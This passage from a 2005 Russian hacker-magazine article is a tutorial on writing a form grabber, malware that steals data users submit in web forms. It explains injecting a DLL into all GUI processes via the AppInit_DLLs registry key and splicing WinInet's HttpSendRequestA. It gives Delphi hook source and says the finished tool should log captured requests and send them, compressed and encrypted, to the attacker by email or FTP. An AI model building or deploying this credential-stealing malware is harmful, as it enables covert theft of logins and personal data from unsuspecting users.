Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #82, ОКТЯБРЬ 2005 г.

Грабим формы!

Ms-Rem (Ms-Rem@yandex.ru)

Хакер, номер #082, стр. 082-110-3


lpszVersion - версия используемого протокола (HTTP/1.0 или HTTP/1.1).

lpszReferer - содержимое заголовка Referer (адрес страницы с которой был послан запрос).

lpszAcceptTypes - типы принимаемых браузером данных.

dwFlags - комбинация управляющих флагов. Подробнее о них ты можешь почитать в MSDN.

dwContext - дополнительные данные, которые приложение может передать с запросом.

BOOL HttpSendRequest(

HINTERNET hRequest,

LPCTSTR lpszHeaders,

DWORD dwHeadersLength,

LPVOID lpOptional,

DWORD dwOptionalLength

);

hRequest - хэндл запроса, полученный функцией HttpOpenRequest.

lpszHeaders - указатель на заголовки запроса. Формат заголовков HTTP-протокола мы рассмотрели выше.

dwHeadersLength - размер заголовков.

lpOptional - указатель на тело запроса. В нашем случае он будет содержать данные формы. С форматом этих данных мы уже тоже разобрались.

dwOptionalLength - размер данных тела запроса.

[перехватываем WinInet API]

Теперь нам нужно научиться перехватывать функции HttpOpenRequest и HttpSendRequest и сохранять в лог проходящие через них данные.

Для этого нам нужно сначала загрузить свою DLL во все процессы системы. Это можно сделать, например, прописав DLL в разделе реестра HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows в ключ AppInit_DLLs (или с помощью хуков или создания удаленных потоков, – прим. ред). Такая библиотека будет подгружена во все процессы, имеющие в своем адресном пространстве user32.dll (а это все GUI приложения). Для перехвата будем использовать метод сплайсинга. Заключается он в перезаписи начала кода перехватываемой функции 5 байтным jmp на свою функцию с предварительным копированием затертых байт в выделенный буфер и установкой после них jmp на продолжение функции. Главная проблема тут состоит в том, что нам нужно скопировать целое количество инструкций, а они могут иметь разный размер, следовательно, нам понадобиться дизассемблер длин. Все вышеописанное уже реализовано в моей библиотеке advApiHook, поэтому можно просто подключить ее и не париться.

Сам же код DLL будет выглядеть приблизительно так:

library FormGrab;

uses

windows,

advApiHook;

var

TrueHttpSendRequest: function(hRequest: dword; lpszHeaders: PChar;

dwHeadersLength: dword; lpOptional: pointer;

dwOptionalLength: dword): boolean; stdcall;

function NewHttpSendRequest(hRequest: dword; lpszHeaders: PChar;

dwHeadersLength: dword; lpOptional: pointer;

dwOptionalLength: dword): boolean; stdcall;

begin

MessageBoxA(0, lpszHeaders, lpOptional, 0);

Result := TrueHttpSendRequest(hRequest, lpszHeaders, dwHeadersLength,

lpOptional, dwOptionalLength);

end;

begin

HookProc('wininet.dll', 'HttpSendRequestA', @NewHttpSendRequest, @TrueHttpSendRequest);

end.

Эта библиотека, будучи прописанной в реестре, будет выводить сообщение с содержимым посылаемого запроса. Реальный же формграббер должен, конечно, не выводить, а сохранять запрос. Причем целесообразнее будет не просто сохранять запрос в неизменном виде, а разбирать его структуру и вытаскивать из нее нужные данные. При достижении какого-либо размера лога, или по прошествии определенного времени результат работы формграббера должен высылаться на мыло, закачиваться на FTP, или любым другим способом передаваться хакеру. При этом будет очень кстати сжать и зашифровать передаваемые данные.

Назад на стр. 082-110-2  Содержание  Вперед на стр. 082-110-4